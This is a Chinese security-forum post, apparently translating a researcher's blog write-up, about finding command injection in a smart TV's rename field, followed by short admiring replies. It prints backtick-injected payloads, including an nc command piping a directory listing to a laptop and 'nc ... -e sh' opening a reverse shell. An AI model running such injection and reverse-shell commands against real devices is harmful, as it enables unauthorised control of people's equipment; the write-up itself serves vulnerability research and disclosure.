用户
搜索
  • TA的每日心情
    开心
    2017-6-11 12:52
  • 签到天数: 243 天

    连续签到: 1 天

    [LV.8]以坛为家I

    管理员

    Security Personnel

    Rank: 9Rank: 9Rank: 9

    150

    主题

    1377

    帖子

    4944

    魔法币
    收听
    0
    粉丝
    94
    注册时间
    2015-11-4

    幽默灌水王突出贡献春秋文阁春秋巡逻热心助人奖

    zusheng 管理员 Security Personnel 幽默灌水王 突出贡献 春秋文阁 春秋巡逻 热心助人奖 楼主
    发表于 2017-4-11 10:52:46 942102
    原文链接:https://www.netsparker.com/blog/ ... -command-injection/

    0x01 前言
    看了一天的电视,我已经很累了,但是我一直在想我以前在我的路由器中发现的一个漏洞,发现这样设备中的漏洞是非常有趣的,因为你可以看见除了开发人员普通用户看不到的东西。

    因为我非常累了,所以我只是想设置一下电视机上的睡眠定时器。但是在设置定时器的时候,我想知道电视机还有没有其他的功能菜单,只有开发人员才能使用的隐藏功能。我在手机上Google一下,发现这个品牌的电视机有一个打开隐藏菜单的代码。

    打开设置并在遥控器上输入代码后,屏幕左侧弹出一个菜单,但是所有类别都是不可使用的状态,我只能激活Hotel Mode并查看一下版本号。

    我想了解更多有关电视的信息。在设置中,有一个info的类别,我打开它,只看到一些更多的版本号。然后我发现我实际上可以给我的电视机取一个名字。

    0x02 发现漏洞
    当你在信息安全工作时,你可能会在你每天遇到的输入字段中去测试一些Payload。在我的这种情况下,我认为将电视机重命名为
    `sleep 5`
    会非常有趣的。
    1.jpg

    重命名后,设置菜单冻结了很久,然后再次响应的时候,我更改了名字,这样我才可以选择其他菜单项。到这里,我还不知道我刚刚发现一个类似命令注入的东西,我很好奇现在为什么需要更长时间才能做出反应。

    时间不符合我的输入,因为它超过了五秒钟。我认为这可能与我注入的字符有关,我再次尝试注入
    `sleep 0`

    它立即被加载了。

    我不知道接下来该干些什么,我准备测量时间,事实证明,它的响应时间总是输入数字的三倍:

    • sleep(2) 6 seconds
    • sleep(3) 9 seconds
    • sleep(5) 15 seconds


    0x03 在我的智能电视上执行命令
    我不敢相信,在我尝试的第一个输入字段中实际上有一个命令注入。冻结菜单并不是最终的证明,我只能输入31个字符,减去两个反引号,我的Payload只能由29个字符组成。

    以下是我试图在电视上运行的命令列表,其中包括对它们的内容的解释,以及确认是否成功。
    biao.png

    真的很晚了,所以我决定去睡觉,第二天尝试拿一个shell。现在最有趣的是我可以通过使用遥控器在电视上运行系统命令。

    0x04 在智能电视上获取Shell
    我的电视是壁挂式的,所以插入电缆并不像大家想像的那么容易。经过一番折腾,我插上电缆。我把它连接到笔记本电脑,并使用ipconfig来查看IP。
    2.png

    现在,我知道了我笔记本电脑的IP地址,我不需要知道电视机的IP地址,我只需要反弹一个shell到我的笔记本电脑就好了。反弹shell很方便,使用它将绕过任何可能阻止传入连接的防火墙规则。但是我只能使用不到29个字符,所以我先准备收集一下信息。

    在智能电视上使用Netcat

    我发现电视机上安装了nc,所以我决定使用nc将某些命令的输出结果传到我的笔记本电脑,我尝试的第一个命令当然是id,这个命令可以告诉我,我在智能电视机上是否拥有root权限。
    3.png

    从上面可以看出我拥有root权限,这不奇怪,但是能看到还是很高兴啊。接下来我准备列一下根目录列表:
    `ls -la /|nc 169.254.56.216 5`

    演示:
    4.png

    完美,但这并不是太有用。然而,由于安装在电视上的nc版本允许-e参数,所以我们很容易就可以获得一个反弹shell。
    `nc 169.254.213.210 5 -e sh`

    演示:
    5.png


    0x05 Shell进行时
    完美,我们现在拥有一个shell,接下来,我特别有兴趣来玩一下电视机。如改变开机的过程,就是开机过程中的标志,或者改变应用程序的图标,由于这是一款智能电视,因此拥有一些预先安装的应用,如Youtube和Skype。
    6.jpg

    我注意到大部分文件系统是只读的,所以我不能改变标志。但是有一些频繁变化的图片,即频道预览框,您可以在不同的电视频道之间切换时看到。它们包含您访问频道时运行的程序的快照。显然,这些必须被保存在一个可以读写文件的地方。

    我注意到图标图像是.png文件。我使用命令find / -name *.png列出了带有.png扩展名的所有文件,但预览文件不在那里。接下来我尝试了相同的搜索,但这次是.jpg文件,我注意到一些文件,如channelImage123.jpg。 上传我想显示的文件,并替换相应的channelImage文件,结果如下:
    7.jpg


    0x06 总结
    互联网连接的设备很可能会在最奇怪的地方存在漏洞,当我测试了睡眠命令时,我甚至没有想到它会工作,所以我只是因为无聊而已。我也不知道我的电视是在linux上运行,甚至惊讶地发现我的漏洞是可以利用的。

    这个漏洞是不可远程利用的,但是我没有把我的电视连接到互联网,并使用它的智能功能。我觉得有人可以控制我的电视,我认为它可能还会有更酷的漏洞,我要等待看看它是否被破坏了,因为你看电视毕竟是为了放松。不要提高你的血压,除非你喜欢看足球。
    Hacking the earth
    沙发
    使用道具 举报 回复
    发表于 2017-4-11 14:37:20
    很强6666
    使用道具 举报 回复
    发表于 2017-4-11 14:48:09
    提莫队长正在待命
    使用道具 举报 回复
    发表于 2017-4-11 15:24:48
    前排围观一下
    使用道具 举报 回复
    发表于 2017-4-11 15:34:34
    脑洞真大 厉害厉害 学习了
    使用道具 举报 回复
    发表于 2017-4-11 16:00:25
    这就是思路66666
    使用道具 举报 回复
    发表于 2017-4-12 02:56:21
    脑洞真大
    使用道具 举报 回复
    发表于 2017-4-12 06:09:44
    你门家,这是什么电视
    The quieter you become,the more you are able to hear......
    使用道具 举报 回复
    发表于 2017-4-12 11:24:52
    这脑洞 可以  
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册